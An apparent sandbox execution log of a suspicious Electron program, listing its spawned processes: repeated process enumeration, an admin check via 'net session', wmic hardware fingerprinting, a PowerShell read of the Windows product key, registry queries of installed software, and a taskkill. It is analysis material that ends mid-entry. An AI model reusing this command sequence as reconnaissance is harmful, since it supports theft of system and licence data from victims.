- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1444
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:464
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1280
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4612
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4452
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4488
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4756
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4864
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3548
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4360
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4804
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4056
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3404
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3316
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:1432
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3944
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:900
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4956
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4440
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3848
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3960
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4708
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:3592
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:4528
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5128
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5148
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5164
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5180
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5200
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5224
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5232
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5252
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5272
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5288
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5308
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5328
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5344
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5376
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:5404
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:6028
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:6072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  PID:5424
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:2612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic OS get caption, osarchitecture | more +1"
  2⤵
  PID:5448
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic OS get caption, osarchitecture
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6156
- - C:\Windows\system32\more.com
    more +1
    3⤵
    PID:2368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get name | more +1"
  2⤵
  PID:3024
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get name
    3⤵
    PID:4524
- - C:\Windows\system32\more.com
    more +1
    3⤵
    PID:5848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController get name | more +1"
  2⤵
  PID:5556
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1476
- - C:\Windows\system32\more.com
    more +1
    3⤵
    PID:4984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
  2⤵
  PID:428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
    3⤵
    PID:676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion' -Name ProductName"
  2⤵
  PID:6820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion' -Name ProductName
    3⤵
    PID:4784
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:5220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=2648 get ExecutablePath"
  2⤵
  PID:5196
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process where processid=2648 get ExecutablePath
    3⤵
    PID:3640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
  2⤵
  PID:2516
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
    3⤵
    PID:6088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
  2⤵
  PID:4852
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
    3⤵
    PID:5168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip""
  2⤵
  PID:6004
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip"
    3⤵
    PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook""
  2⤵
  PID:6984
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook"
    3⤵
    PID:4704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager""
  2⤵
  PID:5832
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager"
    3⤵
    PID:5136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx""
  2⤵
  PID:6288
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx"
    3⤵
    PID:4480
- C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  C:\Users\Admin\AppData\Local\Temp\resources\app.asar.unpacked\node_modules\ps-list\fastlist.exe
  2⤵
  PID:6264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /pid 6288 /T /F"
  2⤵
  PID:5180
- - C:\Windows\system32\taskkill.exe
    taskkill /pid 6288 /T /F
    3⤵
    - Kills process with taskkill
    PID:4804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime""
  2⤵
  PID:5252
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1552
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime"
    3⤵
    PID:6520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore""
  2⤵
  PID:1148
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore"
    3⤵
    PID:5648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40""
  2⤵
  PID:3528
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40"
    3⤵
    PID:7108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data""
  2⤵
  PID:5904
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data"
    3⤵
    PID:6452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX""
  2⤵
  PID:5476
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX"
    3⤵
    PID:5552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData""
  2⤵
  PID:5232
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData"
    3⤵
    PID:5376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack""
  2⤵
  PID:5540
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack"
    3⤵
    PID:7084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 110.0 (x64 en-US)""
  2⤵
  PID:5824
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 110.0 (x64 en-US)"
    3⤵
    PID:6228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService""
  2⤵
  PID:5836
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService"
    3⤵
    PID:5696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2""
  2⤵
  PID:5760
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2"
    3⤵
    PID:6724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us""
  2⤵
  PID:5128
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us"
    3⤵
    PID:5004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent""
  2⤵
  PID:6712
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent"
    3⤵
    PID:2072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player""
  2⤵
  PID:5272
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player"
    3⤵
    PID:6036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC""
  2⤵
  PID:652
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC"
    3⤵
    PID:6768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}""
  2⤵
  PID:5584
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}"
    3⤵
    PID:6112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}""
  2⤵
  PID:6588
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}"
    3⤵
    PID:6068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}""
  2⤵
  PID:6000
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}"
    3⤵
    PID:5392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2BB73336-4F69-4141-9797-E9BD6FE3980A}""
  2⤵
  PID:6864
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2BB73336-4F69-4141-9797-E9BD6FE3980A}"
    3⤵
    PID:5692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}""
  2⤵
  PID:6532
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}"
    3⤵
    PID:5032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A96B93E-763F-41E7-85C7-1F3CCC37EF27}""
  2⤵
  PID:5756
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A96B93E-763F-41E7-85C7-1F3CCC37EF27}"
    3⤵
    PID:6312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}""
  2⤵
  PID:5328
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}"
    3⤵
    PID:6804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}""
  2⤵
  PID:6308
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}"
    3⤵
    PID:5780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}""
  2⤵
  PID:2852
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}"
    3⤵
    PID:5996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}""
  2⤵
  PID:3680
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}"
    3⤵
    PID:3848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}""
  2⤵
  PID:6968
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}"
    3⤵
    PID:5064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{71024AE4-039E-4CA4-87B4-2F64180401F0}""
  2⤵
  PID:740
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{71024AE4-039E-4CA4-87B4-2F64180401F0}"
    3⤵
    PID:5920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7447A794-FA2E-42BE-BA9A-5FCBD54C5DF3}""
  2⤵
  PID:3972
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7447A794-FA2E-42BE-BA9A-5FCBD54C5DF3}"
    3⤵
    PID:5632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}""
  2⤵
  PID:5564
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}"
    3⤵
    PID:5428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}""
  2⤵
  PID:5424
- - C:\Windows\system32\reg.exe
    C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}"
    3⤵
    PID:4720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}""
  2⤵
